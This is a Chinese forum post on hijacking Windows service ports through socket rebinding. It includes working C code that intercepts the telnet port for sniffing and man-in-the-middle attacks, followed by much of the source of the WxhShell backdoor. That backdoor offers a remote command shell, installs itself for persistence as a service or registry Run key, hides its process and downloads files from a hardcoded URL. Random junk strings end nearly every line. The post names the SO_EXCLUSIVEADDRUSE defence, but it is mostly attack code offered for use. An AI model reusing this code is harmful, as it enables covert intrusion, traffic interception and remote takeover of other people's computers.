社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18803阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m9w ; a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -t'oW*kdL  
vk+%#w  
  saddr.sin_family = AF_INET; ZjW| qb  
$hp?5K M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (IHBib "  
il%tu<E#J~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !;C(pnE  
*"sDaN0@R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,vw`YKg  
%vYlu%c<  
  这意味着什么?意味着可以进行如下的攻击: Eq;frnw>q  
"(&`muIc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bK%tQeT  
KBHKcFk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  /r@  
YgOgYo{E!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c O>:n  
6@ ^`-N;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pYUkd!K"  
.+ o>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rPvX8*) tV  
,;pX.Ob U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V*uu:  
}4]x"DfIg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'wV26Dm  
!rGI),  
  #include :!15>ML;-  
  #include x)Kh _G  
  #include Tm.w+@  
  #include    ~cj:AIF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~0GX~{;r  
  int main() FGhrf  
  { 0M2+?aKif  
  WORD wVersionRequested; ]!o,S{a&  
  DWORD ret; 'z!#E!i  
  WSADATA wsaData; f|1FqL+T]  
  BOOL val; bJ!f,a'/  
  SOCKADDR_IN saddr; {:OVBX  
  SOCKADDR_IN scaddr; [7w_.(f#  
  int err; s(Bi& C\  
  SOCKET s; \1 D,Kx;Cb  
  SOCKET sc; h,?Yw+#o"  
  int caddsize; n8aiGnd=v  
  HANDLE mt; 1U9N8{xg9  
  DWORD tid;   HTpd~W/\  
  wVersionRequested = MAKEWORD( 2, 2 ); 48rYs}  
  err = WSAStartup( wVersionRequested, &wsaData ); DI[^H  
  if ( err != 0 ) { >(KUYX?p  
  printf("error!WSAStartup failed!\n"); 1RHH<c%2n  
  return -1; t1g%o5?;  
  } 8Kkr1}!wd  
  saddr.sin_family = AF_INET; #|E. y^IC  
   &scD)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BTtYlpN6  
urjp&L&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &Sp:?I-  
  saddr.sin_port = htons(23); RW8u0 ?b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <{Wa[1D  
  { 8k'em/M~  
  printf("error!socket failed!\n"); v~QZO4[ '  
  return -1; bGO_y]Pc  
  } y N%Pe:R  
  val = TRUE; HV(*6b@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cNC BbOMr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r T$g^  
  { b?L43t,  
  printf("error!setsockopt failed!\n"); 9 NSYrIQ"  
  return -1; j'cCX[i  
  } \9Zfu4WR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w*@Z-'(j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z9bPj8d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S]@iS[|?  
K%_JQ0`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,{t!->K  
  { ?IO/zkeXg  
  ret=GetLastError(); 3_-m>J**  
  printf("error!bind failed!\n"); W7> _nK+g?  
  return -1;  :Xr3 3  
  } 74wa  
  listen(s,2); D)6||z}  
  while(1) (XWs4R.mkb  
  { (I g *iJ%2  
  caddsize = sizeof(scaddr); `&JA7UD>  
  //接受连接请求 5|z[%x~f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x9s`H)  
  if(sc!=INVALID_SOCKET) 13 p0w  
  { xF0*q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =J\7(0Dz4t  
  if(mt==NULL) ]xs\,}I%  
  { ^S$w,  
  printf("Thread Creat Failed!\n"); 5OE?;PJ(  
  break; ?q`mr_x%?  
  } wO N Qlt  
  } ^r$5];n  
  CloseHandle(mt); $yJfAR  
  } rMloj8O*  
  closesocket(s); CKgyv%T5m:  
  WSACleanup(); wu'60po  
  return 0; ).b+S>k  
  }   ZH :X 4!  
  DWORD WINAPI ClientThread(LPVOID lpParam) :g_ +{4  
  { d^>se'ya  
  SOCKET ss = (SOCKET)lpParam; Id1[}B-T  
  SOCKET sc; -2 ?fg   
  unsigned char buf[4096]; <{j9|mt  
  SOCKADDR_IN saddr; T3Fh7S /  
  long num; :6{HFMf"  
  DWORD val; |3@]5f&  
  DWORD ret; 'KG`{K$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]ORat.*0[T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $R4\jIew V  
  saddr.sin_family = AF_INET; ,pepr9Yd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4f5$^uN$qA  
  saddr.sin_port = htons(23); #{sb>^BF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I`1=VC]^8  
  { O[5ti=W  
  printf("error!socket failed!\n"); euK!JZ  
  return -1; B[h9epU]K  
  } g`8|jg0]`I  
  val = 100; E"!*ASN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $!lxVZ>  
  { &*~ WK  
  ret = GetLastError(); `dhK$jYD  
  return -1; Rwk|cqr  
  } {D8 IA3w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dRmTE  
  { yKJp37R  
  ret = GetLastError();  _>l,%n  
  return -1; l71\II  
  } C:cu1Y9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =?hlgQ  
  { ~ME=!;<_  
  printf("error!socket connect failed!\n"); NeP1 #  
  closesocket(sc); 7)#/I  
  closesocket(ss); 4B]a8  
  return -1; hJ :+*46  
  } !j@ 8:j0WY  
  while(1) ap!<8N  
  { !)]3 @$#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DJ.Ct4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g(Nf.hko  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^4:= b  
  num = recv(ss,buf,4096,0); TvR2lP  
  if(num>0) WMg^W(  
  send(sc,buf,num,0); Sl#XJ0 g  
  else if(num==0) dewu@  
  break; # L R[6l  
  num = recv(sc,buf,4096,0); ;.Y`T/eWS  
  if(num>0) Qn7e6u@V  
  send(ss,buf,num,0); XDF" ,N)  
  else if(num==0) ohl%<FqS  
  break; @lI/g  
  } vPi+8)  
  closesocket(ss); EUgs2Fsb3  
  closesocket(sc); VTdZ&%@  
  return 0 ; ?{V[bm  
  } :H{8j}"  
$) $sApB  
U?>cm`DBP  
========================================================== qeYr=%)c  
1/HZY0em  
下边附上一个代码,,WXhSHELL ZmDr$iU~  
f!yxS?j3  
========================================================== !p2&$s"N.  
n 8Fi?/  
#include "stdafx.h" |(N4x(xl  
+}n]A^&I\E  
#include <stdio.h> i F Ab"VA  
#include <string.h> 5`J. ic  
#include <windows.h> $H}Q"^rs  
#include <winsock2.h> <tNx*ce5  
#include <winsvc.h> M;OYh  
#include <urlmon.h> (|-/S0AV  
xab[  
#pragma comment (lib, "Ws2_32.lib") $f%_ 4 =  
#pragma comment (lib, "urlmon.lib") =uH`EkY:  
Kh>^;`h  
#define MAX_USER   100 // 最大客户端连接数 c-,/qn/  
#define BUF_SOCK   200 // sock buffer P~&X$H%e  
#define KEY_BUFF   255 // 输入 buffer T-MLW=Vu  
Yr!3mU-Uvt  
#define REBOOT     0   // 重启 C>HU G  
#define SHUTDOWN   1   // 关机 4%p vw;r  
*\>7@r[%5  
#define DEF_PORT   5000 // 监听端口 b4Z#]o  
2yNlQP8%  
#define REG_LEN     16   // 注册表键长度 sbVeB%k  
#define SVC_LEN     80   // NT服务名长度 x>Kem$z  
~I'h iV^-  
// 从dll定义API D_{J:Hb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 ClW*l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C1_NGOvT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QwiC2}/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C$_H)I  
h1"#DnK7  
// wxhshell配置信息 sXFD]cF  
struct WSCFG { ,^3D"Tky  
  int ws_port;         // 监听端口 6 ^p 6v   
  char ws_passstr[REG_LEN]; // 口令 +um; eL7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 82$^pg>  
  char ws_regname[REG_LEN]; // 注册表键名 *{ .u\BL5  
  char ws_svcname[REG_LEN]; // 服务名 J&5|'yVX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "_^FRz#h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7YsFe6D"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jE{z4en  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q>Y_I<;'g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?#W>^Za=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kn! J`"b  
T+\BX$w/4e  
}; (GZm+?  
g\ke,r6  
// default Wxhshell configuration ]fR 3f  
struct WSCFG wscfg={DEF_PORT, + }^  
    "xuhuanlingzhe", ' =oV  
    1, QF>H>=Za=  
    "Wxhshell", P<bA~%<7"[  
    "Wxhshell", l|DOsI'r  
            "WxhShell Service", X:DHz0S  
    "Wrsky Windows CmdShell Service", GovGh? X#x  
    "Please Input Your Password: ", *e^ ZH  
  1, j*P@]&e7d  
  "http://www.wrsky.com/wxhshell.exe", sh0O~%]g  
  "Wxhshell.exe" J%nJO3,  
    }; X/@Gx 4  
pgI@[zp7  
// 消息定义模块 0j3j/={|.1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7JujU.&{6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /q]WV^H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $jm'uDvm  
char *msg_ws_ext="\n\rExit."; A/'G.H  
char *msg_ws_end="\n\rQuit."; Dhq7qz  
char *msg_ws_boot="\n\rReboot..."; bo]k9FC  
char *msg_ws_poff="\n\rShutdown..."; X[VQ 1  
char *msg_ws_down="\n\rSave to "; __zsrIUJ  
)sW1a  
char *msg_ws_err="\n\rErr!"; <Wl! Qog'  
char *msg_ws_ok="\n\rOK!"; k(s3~S2h  
Rq;R{a  
char ExeFile[MAX_PATH];  p.zU9rID  
int nUser = 0; &fW;;>  
HANDLE handles[MAX_USER]; -QRKDp  
int OsIsNt; #ujcT%1G  
R(csJ4F  
SERVICE_STATUS       serviceStatus; B-o"Y'iXs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #x'C  
xe 6x!  
// 函数声明 _I2AJn`#  
int Install(void); 0\.y0 K8  
int Uninstall(void); WC`<N4g|  
int DownloadFile(char *sURL, SOCKET wsh);  ;v.l<AOE  
int Boot(int flag); $?0<rvGJ  
void HideProc(void); 1y 6H2  
int GetOsVer(void); ?Hq`*I?b9  
int Wxhshell(SOCKET wsl); 3B>!9:w~f  
void TalkWithClient(void *cs); 6MZfoR  
int CmdShell(SOCKET sock); [3j]r{0I  
int StartFromService(void); iE$0-Qe[3  
int StartWxhshell(LPSTR lpCmdLine); ~jJu*s$?  
gp;(M~we  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nPKf~|\1{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o8bV z2E  
wZ29/{,  
// 数据结构和表定义 HgbJsv$  
SERVICE_TABLE_ENTRY DispatchTable[] = t0?\5q  
{ .NZ_dz$c  
{wscfg.ws_svcname, NTServiceMain}, W(EU*~<UC  
{NULL, NULL} n}a# b%e  
}; (xq25;|Y  
YckexfL  
// 自我安装 &bTadd%0  
int Install(void) N@*v'MEko%  
{ SdN|-'qf  
  char svExeFile[MAX_PATH]; x_#yH3kJ  
  HKEY key; |rsu+0Mtz  
  strcpy(svExeFile,ExeFile); ='>k|s:  
IA''-+9  
// 如果是win9x系统,修改注册表设为自启动 :  wb\N'b  
if(!OsIsNt) { w!%Bc]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1#XMUbFc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )KkA<O}f  
  RegCloseKey(key); DLf6D | "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [S'ngQ"f`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }&ZO q'B  
  RegCloseKey(key); $YFn$.70\  
  return 0; .{~ygHQ`f  
    } /SSl$  
  } Hz28L$  
} u2o6EU`  
else { :*Sl\:_X)  
XVE(p3-  
// 如果是NT以上系统,安装为系统服务 ar R)]gk 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RfFeAg,]/  
if (schSCManager!=0) 5q@o,d  
{ i yMIP~N,$  
  SC_HANDLE schService = CreateService ."cC^og  
  ( ig3uY#  
  schSCManager, ,f4Hl%T;  
  wscfg.ws_svcname, e>X&[\T  
  wscfg.ws_svcdisp, y1FS?hSD0  
  SERVICE_ALL_ACCESS, D L<r2h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4,UvTw*2z  
  SERVICE_AUTO_START, Bz]j&`  
  SERVICE_ERROR_NORMAL, JoIffI?{(D  
  svExeFile, *=)%T(^  
  NULL, yn"8Ma*  
  NULL, BPtU]Bv-  
  NULL, Ig*!0(v5$  
  NULL, enE8T3   
  NULL /id(atiF^  
  ); 6imDA]5N&  
  if (schService!=0) |Kh#\d  
  { e*=N\$  
  CloseServiceHandle(schService); ps^Z)x`GV  
  CloseServiceHandle(schSCManager); sYgpK92  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D<C ZhYJ  
  strcat(svExeFile,wscfg.ws_svcname); ,\xeNUZd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8.F]&D0p8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cC b'z1  
  RegCloseKey(key); P]1`=-  
  return 0; px" .pYr0  
    } S"V|BU  
  } J_<ENs-  
  CloseServiceHandle(schSCManager); Tgc)'8A;BN  
} cT-XF  
} c2-NXSjsW  
t@.M;b8  
return 1;  NDm3kMa  
} G"3D"7f a  
U_B"B;ng+  
// 自我卸载 S3A OT  
int Uninstall(void) 9g|o17  
{ tFO86 !ln  
  HKEY key; ku&IVr%  
Ws{2+G~  
if(!OsIsNt) { < Pg4>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #'_i6  
  RegDeleteValue(key,wscfg.ws_regname); R=_ fk  
  RegCloseKey(key); BMgiXdv.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mtvfG  
  RegDeleteValue(key,wscfg.ws_regname); 58ev (f  
  RegCloseKey(key); "O!J6  
  return 0; H3nx8R$j](  
  } zkA"2dh  
} ;n?H/(6X8>  
} |Rf4^vN  
else { &J,MJ{w6"  
2 <y!3OeN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]KBzuz%  
if (schSCManager!=0) L*"Q5NzB]  
{ RbM`"wrZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [f!sBJ!  
  if (schService!=0) OjcxD5"v9  
  { =I-SQI8  
  if(DeleteService(schService)!=0) { 6p=AzojoB  
  CloseServiceHandle(schService); >T'^&l(:  
  CloseServiceHandle(schSCManager); 2zZ" }Zr#  
  return 0; Wz`MEyj  
  } Hw-,sze j"  
  CloseServiceHandle(schService); |W[BqQIf  
  } f,wB.MN  
  CloseServiceHandle(schSCManager); \'q 9,tP  
} "u@)   
} 82O#Fe q  
0B7cpw>_J  
return 1; .BuXg<`  
} pdUrVmW"'  
FZ)_WaqGf  
// 从指定url下载文件 <DxUqCE  
int DownloadFile(char *sURL, SOCKET wsh) 2^'|[*$k1@  
{ xlg6cO  
  HRESULT hr; k z"F4?,  
char seps[]= "/"; B{hP#bYK  
char *token; Ei2hI  
char *file; RP?UKOc  
char myURL[MAX_PATH]; S:"R/EE(  
char myFILE[MAX_PATH]; p(-f$Q(  
IxNY%&* `  
strcpy(myURL,sURL); n}Pz:  
  token=strtok(myURL,seps); 38ChS.(  
  while(token!=NULL) %9cu(yc*}  
  { 8q58H[/c  
    file=token; Oc8]A=M12  
  token=strtok(NULL,seps); r+r-[z D(  
  } kmXpj3  
EZlcpCS  
GetCurrentDirectory(MAX_PATH,myFILE); )u)]#z  
strcat(myFILE, "\\"); jq#uBU %  
strcat(myFILE, file); i"V2=jTeBv  
  send(wsh,myFILE,strlen(myFILE),0); @F%H 1  
send(wsh,"...",3,0); X458%)G!(K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cOkjeHs 5  
  if(hr==S_OK) G$kspN*"A  
return 0; 2Z!%Q}Do  
else ,1J+3ugp&  
return 1; vN'Y);$  
?0QoYA@.$  
} wcDHx#~  
)`<- c2  
// 系统电源模块 nK=-SQ  
int Boot(int flag) f_y+B]?'M  
{ G9"2h \  
  HANDLE hToken; x;w&JS1 V  
  TOKEN_PRIVILEGES tkp; *8y kE  
X2^`Znq9  
  if(OsIsNt) { ig(dGKD\=9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /G[; kR"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j5QS/3  
    tkp.PrivilegeCount = 1; RR R'azT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O%?noW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %<8@NbF  
if(flag==REBOOT) { sz}YX R=m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DG1C_hu i  
  return 0; & c a-  
} ozv:$>v@"  
else { vF,\{sgW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B]jN~CO?  
  return 0; WB~ ^R<g  
} ,QU2xw D[  
  } S^ ij%  
  else { ZtG5vdf  
if(flag==REBOOT) { 94Wf ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rN* , U\q  
  return 0; H=Sy.  
} yv2BbrYyy  
else { }H2<w-,+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5[NF  
  return 0; nW?DlECo?  
} T <J%|d .'  
} woIcW  
0=  ]RG  
return 1; U6SgV 8  
} l{OU \  
Hp`Mp)1s  
// win9x进程隐藏模块 9;,_Q q  
void HideProc(void) ma9VI5w  
{ V0y Q  
cEzWIS?pp\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cu&tdg^q  
  if ( hKernel != NULL ) --Dd'  
  { T 9lk&7W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V$e\84<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %*d(1?\o  
    FreeLibrary(hKernel); =+@IpXj  
  } 5 \1C@d  
B1\@ n$  
return; @#sBom+K`  
} |4RuT .-o  
7k beAJ+{  
// 获取操作系统版本 ZLK@x.=  
int GetOsVer(void) )'\pa2  
{ %*4Gx +b  
  OSVERSIONINFO winfo; w783e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OG}auM4  
  GetVersionEx(&winfo); 49Sq)jd<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ElA\L4g%  
  return 1; <3]Qrjl ,b  
  else &j2fh!\4  
  return 0; ^ 'jJ~U  
} b.Wf*I?  
SVvR]T&_  
// 客户端句柄模块 ?9<byEO%M  
int Wxhshell(SOCKET wsl) [p3)C<;ZC  
{ C/nzlp~  
  SOCKET wsh; QC+oSb!!?  
  struct sockaddr_in client; <cTusC<  
  DWORD myID; etbB;!6  
~c8Z9[QW  
  while(nUser<MAX_USER) ]F&<{\:_}  
{ ~4p@m>>  
  int nSize=sizeof(client); ba_T:;';0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Iz;hje4JL  
  if(wsh==INVALID_SOCKET) return 1; )2c[]d /a4  
WgBV,{ C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); **jD&h7$s-  
if(handles[nUser]==0) K%TlBK V  
  closesocket(wsh); dL9QYIfP  
else hGc')  
  nUser++; +f)Nf) \q  
  } rw*#ta O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TRQX#))B  
K<`"Sr  
  return 0; "DV.%7*^  
} 4%5H<:V7  
4qw&G  
// 关闭 socket E&G_7->  
void CloseIt(SOCKET wsh) z` b. ~<P  
{ -:txmM T  
closesocket(wsh); nU Oy-c  
nUser--; eit>4xMu  
ExitThread(0); MYqxkhcLH1  
} =A,32&;@N  
V0p@wG3  
// 客户端请求句柄 Q^q G=  
void TalkWithClient(void *cs) x)@G+I \u  
{ @21G[!%J  
]# hT!VOd  
  SOCKET wsh=(SOCKET)cs; h[c HCVM:  
  char pwd[SVC_LEN]; 5p&&EA/  
  char cmd[KEY_BUFF]; G $u:1&   
char chr[1]; maANxSzi  
int i,j; !" E&Tk}  
g+ `Ie'o<  
  while (nUser < MAX_USER) { Zxw>|eKI>D  
_"`wUMee  
if(wscfg.ws_passstr) { r1cB<-bJ#'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1KxtHLLU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B8'(3&)My  
  //ZeroMemory(pwd,KEY_BUFF); MI[=,0`D  
      i=0; %v++AcE  
  while(i<SVC_LEN) { xBGSj[1`i  
eW*nRha  
  // 设置超时 >mI-h  
  fd_set FdRead; dy u brIG  
  struct timeval TimeOut; [ @> 8Qhw  
  FD_ZERO(&FdRead); !:3NPjhf1Y  
  FD_SET(wsh,&FdRead); *(&,&$1K  
  TimeOut.tv_sec=8; A0*u(15%  
  TimeOut.tv_usec=0; QsYc 9]:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Mjbvh4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kb%j;y  
8xUmg&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;8sEE?C$g  
  pwd=chr[0]; o?P(Fuf  
  if(chr[0]==0xd || chr[0]==0xa) { "42u0rH0J  
  pwd=0; d>F=|dakL  
  break; ff"Cl p  
  } di6A.N5A  
  i++; 9s)YPlDz  
    } .a:Oj3=0  
B\bIMjXV  
  // 如果是非法用户,关闭 socket {: EQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9;;1 "^4/  
} j#%*@]>Tg  
NXDV3MH=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %V;k/w~[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &..![,)w^!  
z$p +l]  
while(1) { =Fea vyx  
nM8aC&Rd\  
  ZeroMemory(cmd,KEY_BUFF); Zl"h-~31  
Pp N+q:(  
      // 自动支持客户端 telnet标准   WT(R =bLw  
  j=0; ox {Cm  
  while(j<KEY_BUFF) { O*oL(dk*8L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 Yl[J;i  
  cmd[j]=chr[0]; 9!V<=0b/  
  if(chr[0]==0xa || chr[0]==0xd) {  ]\P  
  cmd[j]=0; ?"AcK" v  
  break; a(Z" }m  
  } K@*m6)  
  j++; 'rf='Y  
    } 3uRnbO-  
> ^3xBI:Q  
  // 下载文件 cZL"e  
  if(strstr(cmd,"http://")) { ik~hL/JD\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yl1@ gw7  
  if(DownloadFile(cmd,wsh)) zEY Ey1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T~{_|N  
  else l;Zc[6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CT4R/wzY7  
  } +C\?G/  
  else { r3ZY` zf  
#eE:hiu<v  
    switch(cmd[0]) { u4o%qK  
  #:Cr'U  
  // 帮助 0y'34}  
  case '?': { y>8!qVX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iu0K#.s_  
    break; LEVNywk[  
  } %8 cFzyE*  
  // 安装 _a*Wk  
  case 'i': { hU G Iy(  
    if(Install()) G`|mP:T:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KUH&_yCRB  
    else +cy(}Vp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zGZe|-  
    break; S%&l(=0X  
    } O0b8wpF f  
  // 卸载 9>@_};l  
  case 'r': { scL7PxJ5  
    if(Uninstall()) 3{CGYd]_u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaM,9MAu  
    else ]RnX'yw^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); */\dH<  
    break; RWA|%/L  
    } B5B'H3@  
  // 显示 wxhshell 所在路径 &;9<a^td  
  case 'p': { /q='~t  
    char svExeFile[MAX_PATH]; 6mdJ =b#  
    strcpy(svExeFile,"\n\r");  Mw'd<{  
      strcat(svExeFile,ExeFile); :g<dwuVO  
        send(wsh,svExeFile,strlen(svExeFile),0); :Np&G4IM>  
    break; Ev0V\tl>0  
    } =NJb9S&8A  
  // 重启 `! m+g0  
  case 'b': { ['-ln)96.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `34[w=Zm  
    if(Boot(REBOOT)) W,Dr2$V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8HSYA  
    else { ~,':PUkiV  
    closesocket(wsh); "P<~bw5   
    ExitThread(0); &B3\;|\  
    } [+GQ3Z\  
    break; T_AZCl4d  
